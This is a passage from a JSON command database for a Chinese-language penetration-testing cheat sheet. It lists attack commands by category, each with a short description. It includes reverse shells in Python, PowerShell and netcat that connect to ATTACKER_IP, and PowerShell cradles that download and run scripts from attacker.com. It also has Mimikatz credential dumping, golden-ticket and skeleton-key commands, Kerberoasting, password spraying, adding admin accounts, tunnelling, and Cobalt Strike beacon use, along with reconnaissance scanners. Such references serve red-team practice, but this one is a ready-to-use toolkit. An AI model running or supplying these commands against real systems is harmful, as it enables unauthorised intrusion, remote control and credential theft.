os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'", "description": "Python反弹Shell", "platform": "linux", "syntaxBreakdown": [] }, { "command": "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ATTACKER_IP\",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'", "description": "Python3反弹", "platform": "linux", "syntaxBreakdown": [] }, { "command": "python -c 'import pty;pty.spawn(\"/bin/bash\")'", "description": "获取完整TTY", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "powershell-reverse", "name": "PowerShell反弹Shell", "description": "PowerShell反弹Shell命令", "category": "反弹Shell", "tags": [], "commands": [ { "command": "powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"", "description": "PowerShell反弹", "platform": "windows", "syntaxBreakdown": [] }, { "command": "powershell -e BASE64_ENCODED_COMMAND", "description": "Base64编码执行", "platform": "windows", "syntaxBreakdown": [] }, { "command": "powershell -c \"IEX(New-Object System.Net.WebClient).DownloadString('http://attacker.com/powercat.ps1');powercat -c ATTACKER_IP -p PORT -e cmd\"", "description": "使用PowerCat", "platform": "windows", "syntaxBreakdown": [] } ] }, { "id": "nc-reverse", "name": "Netcat反弹Shell", "description": "Netcat反弹Shell命令", "category": "反弹Shell", "tags": [], "commands": [ { "command": "nc -e /bin/sh ATTACKER_IP PORT", "description": "传统nc反弹", "platform": "linux", "syntaxBreakdown": [] }, { "command": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP PORT >/tmp/f", "description": "OpenBSD nc反弹", "platform": "linux", "syntaxBreakdown": [] }, { "command": "nc -lvnp PORT", "description": "监听连接", "platform": "linux", "syntaxBreakdown": [] }, { "command": "nc -lvnp PORT < file # 发送端\nnc ATTACKER_IP PORT > file # 接收端", "description": "通过nc传输文件", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "nuclei", "name": "Nuclei", "description": "快速漏洞扫描工具", "category": "信息收集", "tags": [], "commands": [ { "command": "nuclei -u http://target.com", "description": "使用所有模板扫描", "platform": "linux", "syntaxBreakdown": [] }, { "command": "nuclei -u http://target.com -t cves/", "description": "使用CVE模板", "platform": "linux", "syntaxBreakdown": [] }, { "command": "nuclei -u http://target.com -severity critical,high", "description": "指定漏洞严重级别", "platform": "linux", "syntaxBreakdown": [] }, { "command": "nuclei -l urls.txt", "description": "从文件读取目标", "platform": "linux", "syntaxBreakdown": [] }, { "command": "nuclei -update-templates", "description": "更新模板库", "platform": "linux", "syntaxBreakdown": [] }, { "command": "nuclei -u http://target.com -o results.txt", "description": "保存扫描结果", "platform": "linux", "syntaxBreakdown": [] }, { "command": "nuclei -u http://target.com -json -o results.json", "description": "JSON格式输出", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "windows-cmd", "name": "Windows CMD命令", "description": "Windows系统常用命令", "category": "系统命令", "tags": [], "commands": [ { "command": "systeminfo\nver\nhostname", "description": "获取系统信息", "platform": "windows", "syntaxBreakdown": [] }, { "command": "net user\nnet user username password /add\nnet localgroup administrators username /add", "description": "用户管理命令", "platform": "windows", "syntaxBreakdown": [] }, { "command": "ipconfig /all\nnetstat -ano\nnetstat -anob\nroute print\narp -a", "description": "网络配置信息", "platform": "windows", "syntaxBreakdown": [] }, { "command": "tasklist\ntaskkill /PID pid /F\nwmic process list full", "description": "进程管理命令", "platform": "windows", "syntaxBreakdown": [] }, { "command": "sc query\nsc start servicename\nsc stop servicename\nnet start", "description": "服务管理命令", "platform": "windows", "syntaxBreakdown": [] }, { "command": "dir /s /b c:\\*.txt\ntype filename\nfind \"string\" filename\nicacls filename", "description": "文件操作命令", "platform": "windows", "syntaxBreakdown": [] }, { "command": "reg query HKLM\\Software\nreg add HKLM\\Software\\MyKey /v Value /t REG_SZ /d \"Data\" /f\nreg delete HKLM\\Software\\MyKey /f", "description": "注册表操作", "platform": "windows", "syntaxBreakdown": [] }, { "command": "netsh advfirewall show allprofiles\nnetsh advfirewall firewall add rule name=\"Allow Port\" dir=in action=allow protocol=tcp localport=8080", "description": "防火墙配置", "platform": "windows", "syntaxBreakdown": [] } ] }, { "id": "net-commands", "name": "NET命令集合", "description": "Windows NET命令完整集合", "category": "系统命令", "tags": [], "commands": [ { "command": "net user", "description": "列出所有用户", "platform": "windows", "syntaxBreakdown": [] }, { "command": "net user username", "description": "查看用户详细信息", "platform": "windows", "syntaxBreakdown": [] }, { "command": "net user username password /add", "description": "添加新用户", "platform": "windows", "syntaxBreakdown": [] }, { "command": "net user username /delete", "description": "删除用户", "platform": "windows", "syntaxBreakdown": [] }, { "command": "net localgroup", "description": "列出所有本地组", "platform": "windows", "syntaxBreakdown": [] }, { "command": "net localgroup administrators username /add", "description": "将用户添加到管理员组", "platform": "windows", "syntaxBreakdown": [] }, { "command": "net user /domain", "description": "列出域用户", "platform": "windows", "syntaxBreakdown": [] }, { "command": "net group \"Domain Admins\" /domain", "description": "列出域管理员", "platform": "windows", "syntaxBreakdown": [] }, { "command": "net share", "description": "列出共享资源", "platform": "windows", "syntaxBreakdown": [] }, { "command": "net share sharename=C:\\path /grant:everyone,full", "description": "创建共享", "platform": "windows", "syntaxBreakdown": [] }, { "command": "net session", "description": "列出当前会话", "platform": "windows", "syntaxBreakdown": [] }, { "command": "net use \\\\target\\share password /user:domain\\user", "description": "连接网络共享", "platform": "windows", "syntaxBreakdown": [] } ] }, { "id": "bloodhound-tool", "name": "BloodHound", "description": "Active Directory关系分析工具", "category": "内网渗透", "tags": [], "commands": [ { "command": "sudo neo4j console", "description": "启动Neo4j数据库", "platform": "linux", "syntaxBreakdown": [] }, { "command": "bloodhound", "description": "启动BloodHound界面", "platform": "linux", "syntaxBreakdown": [] }, { "command": "SharpHound.exe -c All", "description": "采集所有域信息", "platform": "windows", "syntaxBreakdown": [] }, { "command": "IEX(New-Object Net.WebClient).DownloadString(\"http://attacker/SharpHound.ps1\"); Invoke-BloodHound -CollectionMethod All", "description": "PowerShell远程加载采集", "platform": "windows", "syntaxBreakdown": [] }, { "command": "bloodhound-python -u user -p password -d domain.com -ns dc_ip", "description": "Python版本采集", "platform": "linux", "syntaxBreakdown": [] }, { "command": "MATCH p=shortestPath((n:User)-[*1..]->(m:Group)) WHERE m.name=\"DOMAIN ADMINS@DOMAIN.COM\" RETURN p", "description": "查询到域管理员的最短路径", "platform": "all", "syntaxBreakdown": [] }, { "command": "MATCH (n)-[r:DCSync]->(m) RETURN n,m", "description": "查询DCSync权限关系", "platform": "all", "syntaxBreakdown": [] }, { "command": "MATCH (c:Computer {unconstraineddelegation:true}) RETURN c", "description": "查询无约束委派计算机", "platform": "all", "syntaxBreakdown": [] }, { "command": "MATCH (n:User) WHERE n.admincount=true RETURN n", "description": "查询高权限用户", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "mimikatz-tool", "name": "Mimikatz", "description": "Windows凭证提取工具", "category": "凭证窃取", "tags": [], "commands": [ { "command": "privilege::debug", "description": "获取Debug权限", "platform": "windows", "syntaxBreakdown": [] }, { "command": "sekurlsa::logonpasswords", "description": "抓取所有登录凭证", "platform": "windows", "syntaxBreakdown": [] }, { "command": "sekurlsa::minidump lsass.dmp", "description": "从LSASS转储文件提取", "platform": "windows", "syntaxBreakdown": [] }, { "command": "sekurlsa::pth /user:Administrator /domain:domain.com /ntlm:HASH", "description": "哈希传递攻击", "platform": "windows", "syntaxBreakdown": [] }, { "command": "lsadump::dcsync /domain:domain.com /user:Administrator", "description": "DCSync获取域管哈希", "platform": "windows", "syntaxBreakdown": [] }, { "command": "lsadump::sam", "description": "导出SAM数据库", "platform": "windows", "syntaxBreakdown": [] }, { "command": "lsadump::lsa /inject", "description": "导出LSA密钥", "platform": "windows", "syntaxBreakdown": [] }, { "command": "kerberos::golden /domain:domain.com /sid:S-1-5-21-xxx /krbtgt:HASH /user:Administrator /ptt", "description": "生成黄金票据", "platform": "windows", "syntaxBreakdown": [] }, { "command": "kerberos::golden /domain:domain.com /sid:S-1-5-21-xxx /target:server /service:cifs /rc4:HASH /user:Administrator /ptt", "description": "生成白银票据", "platform": "windows", "syntaxBreakdown": [] }, { "command": "kerberos::list", "description": "列出Kerberos票据", "platform": "windows", "syntaxBreakdown": [] }, { "command": "kerberos::list /export", "description": "导出Kerberos票据", "platform": "windows", "syntaxBreakdown": [] }, { "command": "misc::skeleton", "description": "植入万能密码", "platform": "windows", "syntaxBreakdown": [] } ] }, { "id": "rubeus-tool", "name": "Rubeus", "description": "Kerberos攻击工具", "category": "凭证窃取", "tags": [], "commands": [ { "command": "Rubeus.exe kerberoast /stats", "description": "Kerberoasting攻击", "platform": "windows", "syntaxBreakdown": [] }, { "command": "Rubeus.exe asreproast /user:username", "description": "AS-REP Roasting攻击", "platform": "windows", "syntaxBreakdown": [] }, { "command": "Rubeus.exe asktgt /user:username /password:password", "description": "请求TGT票据", "platform": "windows", "syntaxBreakdown": [] }, { "command": "Rubeus.exe asktgs /service:cifs/server.domain.com /ticket:TICKET_BASE64", "description": "请求服务票据", "platform": "windows", "syntaxBreakdown": [] }, { "command": "Rubeus.exe s4u /user:service_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target", "description": "S4U协议攻击", "platform": "windows", "syntaxBreakdown": [] }, { "command": "Rubeus.exe golden /domain:domain.com /sid:S-1-5-21-xxx /krbtgt:HASH /user:Administrator", "description": "生成黄金票据", "platform": "windows", "syntaxBreakdown": [] }, { "command": "Rubeus.exe ptt /ticket:TICKET_BASE64", "description": "注入票据", "platform": "windows", "syntaxBreakdown": [] }, { "command": "Rubeus.exe klist", "description": "列出当前票据", "platform": "windows", "syntaxBreakdown": [] }, { "command": "Rubeus.exe monitor /interval:30", "description": "监视新票据", "platform": "windows", "syntaxBreakdown": [] } ] }, { "id": "certipy-tool", "name": "Certipy", "description": "ADCS证书服务攻击工具", "category": "域渗透", "tags": [], "commands": [ { "command": "certipy find -u user@domain.com -p password -dc-ip dc_ip", "description": "枚举证书服务", "platform": "linux", "syntaxBreakdown": [] }, { "command": "certipy req -u user@domain.com -p password -ca CA_NAME -template Template -upn Administrator@domain.com", "description": "ESC1模板滥用", "platform": "linux", "syntaxBreakdown": [] }, { "command": "certipy req -u user@domain.com -p password -ca CA_NAME -template VULNERABLE_TEMPLATE", "description": "ESC2任意用途", "platform": "linux", "syntaxBreakdown": [] }, { "command": "certipy auth -pfx administrator.pfx -domain domain.com", "description": "使用证书认证", "platform": "linux", "syntaxBreakdown": [] }, { "command": "certipy relay -ca ca_server -template DomainController", "description": "HTTP中继攻击", "platform": "linux", "syntaxBreakdown": [] }, { "command": "certipy req -u user@domain.com -p password -ca CA_NAME -template User -out user.pfx", "description": "导出PFX证书", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "kerbrute-tool", "name": "Kerbrute", "description": "Kerberos暴力破解工具", "category": "密码攻击", "tags": [], "commands": [ { "command": "kerbrute userenum -d domain.com --dc dc_ip users.txt", "description": "枚举域用户", "platform": "all", "syntaxBreakdown": [] }, { "command": "kerbrute passwordspray -d domain.com --dc dc_ip users.txt Password123", "description": "密码喷洒攻击", "platform": "all", "syntaxBreakdown": [] }, { "command": "kerbrute bruteuser -d domain.com --dc dc_ip wordlist.txt username", "description": "暴力破解用户", "platform": "all", "syntaxBreakdown": [] }, { "command": "kerbrute -d domain.com --dc dc_ip user:password", "description": "验证凭证", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "sharphound-tool", "name": "SharpHound", "description": "BloodHound数据采集器", "category": "内网渗透", "tags": [], "commands": [ { "command": "SharpHound.exe -c All", "description": "采集所有数据", "platform": "windows", "syntaxBreakdown": [] }, { "command": "SharpHound.exe -c All --LdapUsername user --LdapPassword pass --DomainController dc.domain.com", "description": "指定域控制器", "platform": "windows", "syntaxBreakdown": [] }, { "command": "SharpHound.exe -c All --Domain domain.com", "description": "指定域名", "platform": "windows", "syntaxBreakdown": [] }, { "command": "SharpHound.exe -c All --RandomizeFilenames --OutputDirectory C:\\Users\\Public", "description": "随机文件名隐蔽采集", "platform": "windows", "syntaxBreakdown": [] }, { "command": "SharpHound.exe -c Default,ACL,Trusts,Container", "description": "指定采集方法", "platform": "windows", "syntaxBreakdown": [] } ] }, { "id": "seatbelt-tool", "name": "Seatbelt", "description": "Windows安全信息收集工具", "category": "信息收集", "tags": [], "commands": [ { "command": "Seatbelt.exe -group=all", "description": "收集所有信息", "platform": "windows", "syntaxBreakdown": [] }, { "command": "Seatbelt.exe -group=system", "description": "收集系统信息", "platform": "windows", "syntaxBreakdown": [] }, { "command": "Seatbelt.exe -group=user", "description": "收集用户信息", "platform": "windows", "syntaxBreakdown": [] }, { "command": "Seatbelt.exe -group=security", "description": "收集安全配置", "platform": "windows", "syntaxBreakdown": [] }, { "command": "Seatbelt.exe -group=network", "description": "收集网络信息", "platform": "windows", "syntaxBreakdown": [] }, { "command": "Seatbelt.exe -group=all -computername=TARGET -username=DOMAIN\\user -password=password", "description": "远程信息收集", "platform": "windows", "syntaxBreakdown": [] } ] }, { "id": "winpeas-tool", "name": "WinPEAS", "description": "Windows提权辅助工具", "category": "权限提升", "tags": [], "commands": [ { "command": "winpeas.exe", "description": "执行完整提权扫描", "platform": "windows", "syntaxBreakdown": [] }, { "command": "winpeas.exe fast", "description": "快速扫描模式", "platform": "windows", "syntaxBreakdown": [] }, { "command": "winpeas.exe cmd", "description": "显示详细命令输出", "platform": "windows", "syntaxBreakdown": [] }, { "command": "winpeas.exe > output.txt", "description": "保存扫描结果", "platform": "windows", "syntaxBreakdown": [] } ] }, { "id": "linpeas-tool", "name": "LinPEAS", "description": "Linux提权辅助工具", "category": "权限提升", "tags": [], "commands": [ { "command": "./linpeas.sh", "description": "执行完整提权扫描", "platform": "linux", "syntaxBreakdown": [] }, { "command": "./linpeas.sh -a", "description": "自动发现模式", "platform": "linux", "syntaxBreakdown": [] }, { "command": "./linpeas.sh -P", "description": "检查密码策略", "platform": "linux", "syntaxBreakdown": [] }, { "command": "./linpeas.sh > output.txt", "description": "保存扫描结果", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "chisel-tool", "name": "Chisel", "description": "HTTP隧道工具", "category": "隧道代理", "tags": [], "commands": [ { "command": "./chisel server -p 8000 --reverse", "description": "启动服务端", "platform": "linux", "syntaxBreakdown": [] }, { "command": "chisel.exe client attacker_ip:8000 R:socks", "description": "建立反向SOCKS代理", "platform": "windows", "syntaxBreakdown": [] }, { "command": "chisel.exe client attacker_ip:8000 R:3389:127.0.0.1:3389", "description": "端口转发", "platform": "windows", "syntaxBreakdown": [] }, { "command": "chisel.exe client attacker_ip:8000 socks", "description": "建立正向SOCKS代理", "platform": "windows", "syntaxBreakdown": [] }, { "command": "chisel.exe client attacker_ip:8000 R:80:127.0.0.1:80 R:3389:127.0.0.1:3389", "description": "多端口转发", "platform": "windows", "syntaxBreakdown": [] } ] }, { "id": "ligolo-tool", "name": "Ligolo-ng", "description": "隧道工具", "category": "隧道代理", "tags": [], "commands": [ { "command": "sudo proxy -selfcert", "description": "启动代理服务器", "platform": "linux", "syntaxBreakdown": [] }, { "command": "agent.exe -connect attacker_ip:11601 -ignore-cert", "description": "Agent连接到代理", "platform": "windows", "syntaxBreakdown": [] }, { "command": "session\nsession_select_id", "description": "选择会话", "platform": "linux", "syntaxBreakdown": [] }, { "command": "start_tunnel", "description": "启动隧道", "platform": "linux", "syntaxBreakdown": [] }, { "command": "interface_add_route 10.10.10.0/24", "description": "添加目标网段", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "sharpsmbclient-tool", "name": "SharpSMBClient", "description": "SMB客户端工具", "category": "内网渗透", "tags": [], "commands": [ { "command": "SharpSMBClient.exe -d domain -u user -p password -i target_ip -L", "description": "列出SMB共享", "platform": "windows", "syntaxBreakdown": [] }, { "command": "SharpSMBClient.exe -d domain -u user -p password -i target_ip -s C$ -l", "description": "列出共享目录", "platform": "windows", "syntaxBreakdown": [] }, { "command": "SharpSMBClient.exe -d domain -u user -p password -i target_ip -s C$ -g \"path\\file\"", "description": "下载文件", "platform": "windows", "syntaxBreakdown": [] }, { "command": "SharpSMBClient.exe -d domain -u user -p password -i target_ip -s C$ -p local_file -r remote_path", "description": "上传文件", "platform": "windows", "syntaxBreakdown": [] } ] }, { "id": "donpapi-tool", "name": "DonPAPI", "description": "DPAPI凭证提取工具", "category": "凭证窃取", "tags": [], "commands": [ { "command": "donpapi domain/user:password@target_ip", "description": "提取DPAPI凭证", "platform": "linux", "syntaxBreakdown": [] }, { "command": "donpapi -hashes :NTHASH domain/user@target_ip", "description": "使用哈希认证", "platform": "linux", "syntaxBreakdown": [] }, { "command": "donpapi domain/user:password@targets.txt", "description": "批量提取凭证", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "powersploit-tool", "name": "PowerSploit", "description": "PowerShell渗透测试框架", "category": "内网渗透", "tags": [], "commands": [ { "command": "IEX(New-Object Net.WebClient).DownloadString(\"http://attacker/PowerView.ps1\")", "description": "远程加载PowerView", "platform": "windows", "syntaxBreakdown": [] }, { "command": "Get-NetDomain", "description": "获取域信息", "platform": "windows", "syntaxBreakdown": [] }, { "command": "Get-NetUser", "description": "获取域用户", "platform": "windows", "syntaxBreakdown": [] }, { "command": "Get-NetGroup \"Domain Admins\"", "description": "获取域管理员", "platform": "windows", "syntaxBreakdown": [] }, { "command": "Get-NetDomainController", "description": "获取域控制器", "platform": "windows", "syntaxBreakdown": [] }, { "command": "Find-DomainUserLocation", "description": "查找域管理员登录位置", "platform": "windows", "syntaxBreakdown": [] }, { "command": "Get-ObjectAcl -SamAccountName target", "description": "获取对象ACL", "platform": "windows", "syntaxBreakdown": [] }, { "command": "Add-DomainObjectAcl -TargetIdentity target -Rights DCSync", "description": "添加DCSync权限", "platform": "windows", "syntaxBreakdown": [] } ] }, { "id": "cobaltstrike-tool", "name": "Cobalt Strike", "description": "红队渗透测试框架", "category": "红队工具", "tags": [], "commands": [ { "command": "./teamserver ip password [C2配置文件]", "description": "启动团队服务器", "platform": "linux", "syntaxBreakdown": [] }, { "command": "Attacks -> Packages -> Windows Executable", "description": "生成可执行Payload", "platform": "all", "syntaxBreakdown": [] }, { "command": "Cobalt Strike -> Listeners -> Add", "description": "添加监听器", "platform": "all", "syntaxBreakdown": [] }, { "command": "shell whoami\nps\nhashdump\nmimikatz", "description": "Beacon常用命令", "platform": "all", "syntaxBreakdown": [] }, { "command": "beacon> link target_ip", "description": "SMB Beacon横向", "platform": "windows", "syntaxBreakdown": [] }, { "command": "beacon> socks 1080", "description": "启动SOCKS代理", "platform": "windows", "syntaxBreakdown": [] }, { "command": "beacon> steal_token PID", "description": "窃取进程令牌", "platform": "windows", "syntaxBreakdown": [] }, { "command": "beacon> runas domain\\user password command", "description": "以其他用户运行", "platform": "windows", "syntaxBreakdown": [] } ] }, { "id": "searchsploit-tool", "name": "SearchSploit", "description": "漏洞搜索工具", "category": "信息收集", "tags": [], "commands": [ { "command": "searchsploit apache 2.4", "description": "搜索Apache漏洞", "platform": "linux", "syntaxBreakdown": [] }, { "command": "searchsploit -e \"Apache 2.4\"", "description": "精确匹配搜索", "platform": "linux", "syntaxBreakdown": [] }, { "command": "searchsploit apache --exclude=\"DoS\"", "description": "排除特定类型", "platform": "linux", "syntaxBreakdown": [] }, { "command": "searchsploit -x exploits/xxx.py", "description": "查看漏洞代码", "platform": "linux", "syntaxBreakdown": [] }, { "command": "searchsploit -m exploits/xxx.py", "description": "复制到当前目录", "platform": "linux", "syntaxBreakdown": [] }, { "command": "searchsploit -u", "description": "更新漏洞数据库", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "wfuzz-tool", "name": "WFuzz", "description": "Web模糊测试工具", "category": "Web渗透", "tags": [], "commands": [ { "command": "wfuzz -c -w wordlist.txt http://target.com/FUZZ", "description": "基础目录爆破", "platform": "linux", "syntaxBreakdown": [] }, { "command": "wfuzz -c -w wordlist.txt --hc 404 http://target.com/FUZZ", "description": "过滤404响应", "platform": "linux", "syntaxBreakdown": [] }, { "command": "wfuzz -c -w wordlist.txt -d \"user=FUZZ&pass=test\" http://target.com/login", "description": "POST数据测试", "platform": "linux", "syntaxBreakdown": [] }, { "command": "wfuzz -c -w wordlist.txt -b \"session=FUZZ\" http://target.com/", "description": "Cookie模糊测试", "platform": "linux", "syntaxBreakdown": [] }, { "command": "wfuzz -c -w wordlist.txt -H \"Host: FUZZ.target.com\" http://target.com/", "description": "Host头测试", "platform": "linux", "syntaxBreakdown": [] }, { "command": "wfuzz -c -w wordlist.txt -R 2 http://target.com/FUZZ", "description": "递归扫描", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "amass-tool", "name": "Amass", "description": "子域名枚举工具", "category": "信息收集", "tags": [], "commands": [ { "command": "amass enum -d target.com", "description": "枚举子域名", "platform": "linux", "syntaxBreakdown": [] }, { "command": "amass enum -passive -d target.com", "description": "被动信息收集", "platform": "linux", "syntaxBreakdown": [] }, { "command": "amass enum -active -d target.com", "description": "主动信息收集", "platform": "linux", "syntaxBreakdown": [] }, { "command": "amass enum -brute -d target.com -w wordlist.txt", "description": "暴力破解子域名", "platform": "linux", "syntaxBreakdown": [] }, { "command": "amass enum -d target.com -o output.txt", "description": "保存枚举结果", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "subfinder-tool", "name": "Subfinder", "description": "子域名发现工具", "category": "信息收集", "tags": [], "commands": [ { "command": "subfinder -d target.com", "description": "枚举子域名", "platform": "linux", "syntaxBreakdown": [] }, { "command": "subfinder -d target.com -recursive", "description": "递归枚举", "platform": "linux", "syntaxBreakdown": [] }, { "command": "subfinder -d target.com -o output.txt", "description": "保存结果", "platform": "linux", "syntaxBreakdown": [] }, { "command": "subfinder -d target.com -json -o output.json", "description": "JSON格式输出", "platform": "linux", "syntaxBreakdown": [] }, { "command": "subfinder -dL domains.txt", "description": "批量处理域名", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "httpx-tool", "name": "HTTPX", "description": "HTTP探测工具", "category": "信息收集", "tags": [], "commands": [ { "command": "cat urls.txt | httpx", "description": "探测HTTP服务", "platform": "linux", "syntaxBreakdown": [] }, { "command": "cat urls.txt | httpx -title -status-code", "description": "获取页面标题和状态码", "platform": "linux", "syntaxBreakdown": [] }, { "command": "cat urls.txt | httpx -screenshot", "description": "网页截图", "platform": "linux", "syntaxBreakdown": [] }, { "command": "cat urls.txt | httpx -tech-detect", "description": "技术栈识别", "platform": "linux", "syntaxBreakdown": [] }, { "command": "cat urls.txt | httpx -o output.txt", "description": "保存结果", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "masscan", "name": "Masscan", "description": "最快的互联网端口扫描器,可在5分钟内扫描整个互联网", "category": "信息收集", "tags": [], "commands": [ { "command": "masscan -p1-65535 target_ip --rate=1000", "description": "以每秒1000包的速率扫描目标所有端口", "platform": "all", "syntaxBreakdown": [ { "part": "masscan", "explanation": "高速端口扫描器", "type": "command" }, { "part": "-p1-65535", "explanation": "扫描全部65535个端口", "type": "parameter" }, { "part": "--rate=1000", "explanation": "每秒发送1000个数据包", "type": "parameter" } ] }, { "command": "masscan -p80,443,8080,8443,3306,6379,27017 target_ip/24 --rate=500", "description": "扫描常用Web和数据库端口", "platform": "all", "syntaxBreakdown": [] }, { "command": "masscan -p1-65535 target_ip --rate=1000 -oJ result.json\nmasscan -p1-65535 target_ip --rate=1000 -oX result.xml\nmasscan -p1-65535 target_ip --rate=1000 -oG result.grep", "description": "支持JSON/XML/Grepable格式输出", "platform": "all", "syntaxBreakdown": [] }, { "command": "masscan -p1-65535 10.0.0.0/8 --rate=10000 -e eth0 --excludefile exclude.txt", "description": "指定网卡并排除特定IP范围", "platform": "linux", "syntaxBreakdown": [] }, { "command": "masscan -p80,443 target_ip/24 --banners --rate=500", "description": "获取服务Banner信息", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "dirsearch", "name": "Dirsearch", "description": "高级Web目录和文件暴力破解工具", "category": "信息收集", "tags": [], "commands": [ { "command": "dirsearch -u https://target.com -e php,asp,aspx,jsp,html,js", "description": "扫描指定扩展名的目录和文件", "platform": "all", "syntaxBreakdown": [ { "part": "-u", "explanation": "目标URL", "type": "parameter" }, { "part": "-e", "explanation": "指定扫描的文件扩展名", "type": "parameter" } ] }, { "command": "dirsearch -u https://target.com -w /usr/share/wordlists/dirb/big.txt --delay=0.5", "description": "使用自定义字典并设置请求延迟", "platform": "all", "syntaxBreakdown": [] }, { "command": "dirsearch -u https://target.com -e php -r -R 3 --exclude-status=403,404", "description": "递归扫描3层深度,排除403/404", "platform": "all", "syntaxBreakdown": [] }, { "command": "dirsearch -u https://target.com -t 20 --cookie=\"session=abc123\" -H \"Authorization: Bearer token\"", "description": "20线程并发,携带认证信息", "platform": "all", "syntaxBreakdown": [] }, { "command": "dirsearch -u https://target.com -o result.json --format=json", "description": "输出JSON格式结果", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "feroxbuster", "name": "FeroxBuster", "description": "用Rust编写的高性能递归目录发现工具", "category": "信息收集", "tags": [], "commands": [ { "command": "feroxbuster -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt", "description": "使用SecLists字典扫描目录", "platform": "all", "syntaxBreakdown": [ { "part": "feroxbuster", "explanation": "Rust编写的高速目录枚举工具", "type": "command" }, { "part": "-u", "explanation": "目标URL", "type": "parameter" }, { "part": "-w", "explanation": "字典文件路径", "type": "parameter" } ] }, { "command": "feroxbuster -u https://target.com -d 3 -C 403,404,500 -x php,asp,html --rate-limit 50", "description": "递归3层,过滤状态码,限制速率", "platform": "all", "syntaxBreakdown": [] }, { "command": "feroxbuster -u https://target.com -H \"Cookie: session=abc\" -H \"Authorization: Bearer xxx\" -t 30", "description": "携带认证头,30线程并发", "platform": "all", "syntaxBreakdown": [] }, { "command": "feroxbuster -u https://target.com --auto-tune --smart", "description": "自动调整请求速率和过滤条件", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "massdns", "name": "MassDNS", "description": "高性能DNS解析器,用于子域名暴力枚举", "category": "信息收集", "tags": [], "commands": [ { "command": "massdns -r resolvers.txt -t A -o S -w results.txt subdomains.txt", "description": "使用字典文件解析子域名", "platform": "linux", "syntaxBreakdown": [ { "part": "-r resolvers.txt", "explanation": "DNS解析器列表", "type": "parameter" }, { "part": "-t A", "explanation": "查询A记录", "type": "parameter" }, { "part": "-o S", "explanation": "简洁输出模式", "type": "parameter" } ] }, { "command": "cat subdomains.txt | sed \"s/$/.target.com/\" > full_subs.txt\nmassdns -r resolvers.txt -t A -o J full_subs.txt > results.json", "description": "批量生成子域名并JSON格式输出", "platform": "linux", "syntaxBreakdown": [] }, { "command": "massdns -r resolvers.txt -t A -o S -w output.txt --hashmap-size 10000 -s 10000 subs.txt", "description": "设置并发数和哈希表大小提高性能", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "amass", "name": "Amass", "description": "OWASP出品的深度攻击面映射和资产发现工具", "category": "信息收集", "tags": [], "commands": [ { "command": "amass enum -passive -d target.com -o results.txt", "description": "仅使用被动数据源枚举子域名", "platform": "all", "syntaxBreakdown": [ { "part": "enum", "explanation": "枚举模式", "type": "command" }, { "part": "-passive", "explanation": "仅被动收集(不发送请求)", "type": "parameter" }, { "part": "-d", "explanation": "目标域名", "type": "parameter" } ] }, { "command": "amass enum -active -d target.com -brute -w /usr/share/amass/wordlists/subdomains-top1mil.txt", "description": "主动DNS枚举+字典暴力破解", "platform": "all", "syntaxBreakdown": [] }, { "command": "amass intel -d target.com -whois\namass intel -org \"Target Corp\" -max-dns-queries 2500", "description": "收集WHOIS和组织相关域名情报", "platform": "all", "syntaxBreakdown": [] }, { "command": "amass viz -d3 -d target.com\namass db -show -d target.com", "description": "生成D3.js可视化图表和查看历史数据", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "subfinder", "name": "Subfinder", "description": "被动子域名发现工具,支持多种在线数据源", "category": "信息收集", "tags": [], "commands": [ { "command": "subfinder -d target.com -o subs.txt", "description": "枚举子域名并输出到文件", "platform": "all", "syntaxBreakdown": [ { "part": "subfinder", "explanation": "被动子域名枚举工具", "type": "command" }, { "part": "-d", "explanation": "目标域名", "type": "parameter" } ] }, { "command": "subfinder -d target.com -recursive -all -o subs.txt", "description": "使用所有数据源递归枚举", "platform": "all", "syntaxBreakdown": [] }, { "command": "subfinder -d target.com -silent | httpx -silent -status-code -title", "description": "与httpx联动探测存活子域名", "platform": "all", "syntaxBreakdown": [] }, { "command": "subfinder -dL domains.txt -o all_subs.txt -t 30", "description": "从文件读取多个域名批量枚举", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "httpx", "name": "HTTPX", "description": "快速多功能HTTP探针工具,用于批量探测Web服务", "category": "信息收集", "tags": [], "commands": [ { "command": "httpx -l urls.txt -status-code -title -tech-detect -o alive.txt", "description": "批量探测URL存活状态、标题和技术栈", "platform": "all", "syntaxBreakdown": [ { "part": "-status-code", "explanation": "显示HTTP状态码", "type": "parameter" }, { "part": "-title", "explanation": "提取页面标题", "type": "parameter" }, { "part": "-tech-detect", "explanation": 